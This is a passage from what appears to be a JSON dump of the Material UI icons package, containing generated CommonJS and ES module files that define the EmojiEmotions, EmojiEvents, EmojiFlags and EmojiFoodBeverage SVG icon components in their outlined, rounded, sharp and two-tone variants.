    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8 8-3.58 8-8M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8M12 18c-2.28 0-4.22-1.66-5-4h10c-.78 2.34-2.72 4-5 4m3.5-7c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c2.28 0 4.22-1.66 5-4H7c.78 2.34 2.72 4 5 4\"\n}, \"4\")], 'EmojiEmotionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEvents.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m14 0c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEvents');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEvents.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m14 0c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEvents');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m7 6c-1.65 0-3-1.35-3-3V5h6v6c0 1.65-1.35 3-3 3m7-6c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEventsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m7 6c-1.65 0-3-1.35-3-3V5h6v6c0 1.65-1.35 3-3 3m7-6c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEventsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-2V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H8c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1h-3v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m14 0c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEventsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-2V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H8c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1h-3v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m14 0c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEventsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m14 0c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEventsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m14 0c0 1.3-.84 2.4-2 2.82V7h2z\"\n}), 'EmojiEventsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c-1.65 0-3-1.35-3-3V5h6v6c0 1.65-1.35 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m7 6c-1.65 0-3-1.35-3-3V5h6v6c0 1.65-1.35 3-3 3m7-6c0 1.3-.84 2.4-2 2.82V7h2z\"\n}, \"1\")], 'EmojiEventsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEventsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c-1.65 0-3-1.35-3-3V5h6v6c0 1.65-1.35 3-3 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-2V3H7v2H5c-1.1 0-2 .9-2 2v1c0 2.55 1.92 4.63 4.39 4.94.63 1.5 1.98 2.63 3.61 2.96V19H7v2h10v-2h-4v-3.1c1.63-.33 2.98-1.46 3.61-2.96C19.08 12.63 21 10.55 21 8V7c0-1.1-.9-2-2-2M5 8V7h2v3.82C5.84 10.4 5 9.3 5 8m7 6c-1.65 0-3-1.35-3-3V5h6v6c0 1.65-1.35 3-3 3m7-6c0 1.3-.84 2.4-2 2.82V7h2z\"\n}, \"1\")], 'EmojiEventsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlags.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlags');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlags.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlags');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlagsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlagsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-5l-.72-1.45c-.17-.34-.52-.55-.9-.55H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V20c0 .55.45 1 1 1s1-.45 1-1v-3h5l.72 1.45c.17.34.52.55.89.55H19c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1zm-1 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlagsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsRounded.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-5l-.72-1.45c-.17-.34-.52-.55-.9-.55H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V20c0 .55.45 1 1 1s1-.45 1-1v-3h5l.72 1.45c.17.34.52.55.89.55H19c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1zm-1 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlagsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlagsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsSharp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}), 'EmojiFlagsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9H7v6h6l1 2h4v-6h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}, \"1\")], 'EmojiFlagsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFlagsTwoTone.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9H7v6h6l1 2h4v-6h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 9-1-2H7V5.72c.6-.34 1-.98 1-1.72 0-1.1-.9-2-2-2s-2 .9-2 2c0 .74.4 1.38 1 1.72V21h2v-4h5l1 2h7V9h-6zm4 8h-4l-1-2H7V9h5l1 2h5v6z\"\n}, \"1\")], 'EmojiFlagsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H9v2.4l1.81 1.45c.12.09.19.24.19.39v4.26c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5V7.24c0-.15.07-.3.19-.39L8 5.4V3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'EmojiFoodBeverage');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H9v2.4l1.81 1.45c.12.09.19.24.19.39v4.26c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5V7.24c0-.15.07-.3.19-.39L8 5.4V3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'EmojiFoodBeverage');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h18v2H2zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2m-4 10c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h3v1.4L7.19 7.85c-.12.09-.19.24-.19.39v4.26c0 .28.22.5.5.5h4c.28 0 .5-.22.5-.5V8.24c0-.15-.07-.3-.19-.39L10 6.4V5h6zM9.5 7.28l1.5 1.2V12H8V8.48zM20 8h-2V5h2z\"\n}), 'EmojiFoodBeverageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h18v2H2zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2m-4 10c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h3v1.4L7.19 7.85c-.12.09-.19.24-.19.39v4.26c0 .28.22.5.5.5h4c.28 0 .5-.22.5-.5V8.24c0-.15-.07-.3-.19-.39L10 6.4V5h6zM9.5 7.28l1.5 1.2V12H8V8.48zM20 8h-2V5h2z\"\n}), 'EmojiFoodBeverageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H3c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m1-16H9v2.4l1.81 1.45c.12.09.19.24.19.39v4.26c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5V7.24c0-.15.07-.3.19-.39L8 5.4V3H6c-1.1 0-2 .9-2 2v8c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2z\"\n}), 'EmojiFoodBeverageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H3c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m1-16H9v2.4l1.81 1.45c.12.09.19.24.19.39v4.26c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5V7.24c0-.15.07-.3.19-.39L8 5.4V3H6c-1.1 0-2 .9-2 2v8c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2z\"\n}), 'EmojiFoodBeverageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h18v2H2zM20 3H9v2.4L11 7v5H6V7l2-1.6V3H4v14h14v-7h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2z\"\n}), 'EmojiFoodBeverageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h18v2H2zM20 3H9v2.4L11 7v5H6V7l2-1.6V3H4v14h14v-7h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2z\"\n}), 'EmojiFoodBeverageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 6.4 1.81 1.45c.12.09.19.24.19.39v4.26c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5V8.24c0-.15.07-.3.19-.39L9 6.4V5H6v8c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h18v2H2zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2M9.5 7.28l1.5 1.2V12H8V8.48zM16 13c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h3v1.4L7.19 7.85c-.12.09-.19.24-.19.39v4.26c0 .28.22.5.5.5h4c.28 0 .5-.22.5-.5V8.24c0-.15-.07-.3-.19-.39L10 6.4V5h6zm4-5h-2V5h2z\"\n}, \"1\")], 'EmojiFoodBeverageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiFoodBeverageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 6.4 1.81 1.45c.12.09.19.24.19.39v4.26c0 .28-.22.5-.5.5h-4c-.28 0-.5-.22-.5-.5V8.24c0-.15.07-.3.19-.39L9 6.4V5H6v8c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h18v2H2zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2M9.5 7.28l1.5 1.2V12H8V8.48zM16 13c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h3v1.4L7.19 7.85c-.12.09-.19.24-.19.39v4.26c0 .28.22.5.5.5h4c.28 0 .5-.22.5-.5V8.24c0-.15-.07-.3-.19-.39L10 6.4V5h6zm4-5h-2V5h2z\"\n}, \"1\")], 'EmojiFoodBeverageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNature.js",
